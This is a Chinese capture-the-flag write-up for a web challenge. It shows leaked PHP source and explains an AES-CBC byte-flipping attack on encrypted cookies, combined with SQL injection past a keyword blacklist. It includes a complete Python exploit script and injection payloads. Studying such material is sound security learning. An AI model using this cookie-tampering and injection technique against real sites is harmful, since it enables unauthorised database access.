该wp学习自Pcat大佬在实验吧的wp
题目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php
随便提交一个id,看到后台set了两个cookie
iv和cipher这两个数据每次刷新都会发生变化,应该是每次刷新的时候,后台重新随机生成了一个iv,并用来加密某个数据,可能是我们提交的id,然后将密文cipher存入cookie中。
iv和cipher在翻译过来就是Initialization Vector(初始化向量)和密文,这两个东西好像也经常在CBC翻转的题目里出现。在看到这两个数据的时候,我觉得这道题应该是一道CBC翻转的题目吧。
然后呢?如果是CBC翻转这种接近于密码的题目,没有源码不知道后台做了什么处理的话,那就有点无从下手的感觉了。这个时候,就是扫描器登场的时候了,我们可以用御剑简单地扫描一下。
后面两条结果忽略掉,conn明显是数据库连接的php,index.php则是我们访问的php,那么test.php里面会有什么呢?我们访问一下
如愿以偿地得到了index.php的源码,变得好看一点,大致源码如下
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
} return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
} function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo 'Hello!'.$rows['username'].'';
} else{
echo 'Hello!';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id)) die("sql inject detected!");
$info = array('id'=>$id);
login($info);
echo 'Hello!';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{ echo 'Login Forminput id to loginidLogin';
}
}
分析一下,有这么几点:
1.传递的id中有一些会被吃掉的关键词
2.id的值会被存入一个数组中序列化,然后加密该序列化字符串,并将该cipher base64编码后与base64编码的iv存入cookie
3.如果不传递id,就会从cookie中取出iv和cipher进行解码解密,然后拼接SQL语句进行查询,而这个SQL语句比较奇特,我们传递的数据被拼接在了limit的后面,而在SQL语句中,limit的后面只剩下procedure、into和for update了,而procedure也被吃掉了,看来不是一般的SQL注入了
4.在执行SQL语句前并不会再次吃掉敏感关键词
结合之前的猜测,那么这道题就很明显了,考点是CBC字节翻转攻击+SQL注入攻击
CBC字节翻转攻击:http://www.vuln.cn/6109
具体的思路就是:
1.提交id的时候替换被吃掉的关键词,比如union的其中一个字母
2.从cookie中获取到iv和cipher之后,进行CBC翻转攻击,使得修改之后,后台解密会将密文变成我们所希望得到的样子
3.SQL注入的时候,用;%00代替#这些单行注释符,用join代替,来确定回显位置,将数据select到回显位置上
CBC翻转的时候,尽量少翻转字符,因为越多的翻转可能会导致你需要对cipher或者iv做更多的处理,所以我们只使用union这个被吃掉的关键词就好了,其他的关键词可以绕过
先写一个php脚本,为了方便直观地看到所要翻转的地方的偏移量是多少,借Pcat大佬的例子
此时的偏移量(offset)为4,也就是说,如果我们要将 第2块第5个字符2 翻转为我们所需要的字符#,由于CBC模式的解密方式是:
该块的明文 = decrypt(该块的密文) ^(异或) 前一块密文
如果是第一块:第一块的明文 = decrypt(第一块的密文) ^ iv
CBC解密分为两段:decrypt和^
所以,我们需要对 第1块第5个字符 做一些修改
由于:
第2块密文第5个字符的明文(C) = 第1块密文第5个字符(A) ^ decrypt(第2块密文第5个字符的密文)(B)
而^有运算为:C = A ^ B,A = C ^ B,0 ^ A = A,而我们已知CBC解密后C(这里为2)和密文中A的值cipher_row[offset(偏移量)]
故:
B = A ^ C
而后台CBC解密所得则为:A ^ B
所以我们控制修改A2 = A ^ C ^ D(我们想要的,这里为#)
即脚本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))
这样运算下来,则后台CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻转成功
但是还没有结束,因为我们在翻转第二块的时候,修改了第一块的密文,所以如果用同一个iv去解密第一块密文,是无法反序列化的,因此我们需要对iv进行一些修改。
(如果我们为了翻转第三块,而修改了第二块,那我们又需要为了让第二块解密后反序列化成功修改第一块,最后又要修改iv,处理量一下子就多了起来)
修改iv的时候,我们已知:原iv,用原iv解密后的错误明文,第一块密文,以及正确明文(即a:1:{s:2:\"id\";s:)
而:
错误明文 = 原iv ^ 第一块密文 => 第一块密文 = 错误明文 ^ 原iv
正确明文 = 新iv ^ 第一块密文 => 新iv = 正确明文 ^ 第一块密文
故:
新iv = 原iv ^ 错误明文 ^ 正确明文
即脚本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循环16次
原理讲完了,接下来就是脚本了脚本如下
# -*- coding:utf8 -*-
import base64
import requests
import re
import urllib
url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"
payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)
data = {
'id':payload
}
cookie = requests.post(url,data = data).headers['Set-Cookie']
iv = re.findall(r'iv=(.+),',cookie)[0]
cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))
iv_row =list(base64.b64decode(urllib.unquote(iv)))
cipher_row =list(cipher)
offset =6
cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))
cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))
cookies = {
"iv" : iv,
"cipher" : cipher_new
}
mistake = requests.get(url,cookies = cookies).content
wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])
iv_new =''
plaintext ="a:1:{s:2:\"id\";s:"
for xin range(16):
iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))
iv_new = urllib.quote(base64.b64encode(iv_new))
cookies2 = {
"iv" : iv_new,
"cipher" : cipher_new
}
result = requests.get(url,cookies = cookies2).content
print result
运行得到数据库名
修改payload和offset的值,最后getflag
最后提一句的是:select * from ??? limit 1 union select ???这种写法在mysql5.7里面已经不能用了,会报错incorrect usage of union and limit,要使用(select * from ??? limit 1) union (select ???)这种写法,官方在5.7文档是这么说的
PS:
发现最近这题好像出了点问题,在select列的时候会报Got error 28 from storage engine的错误,就获取不到列名了
不过列名可以通过报错的方式爆出来,payload
"0 2nion select * from (select * from you_want as a join you_want) as c;"+chr(0)
结果:
the end
作者水平有限 如有错误请指出 Orz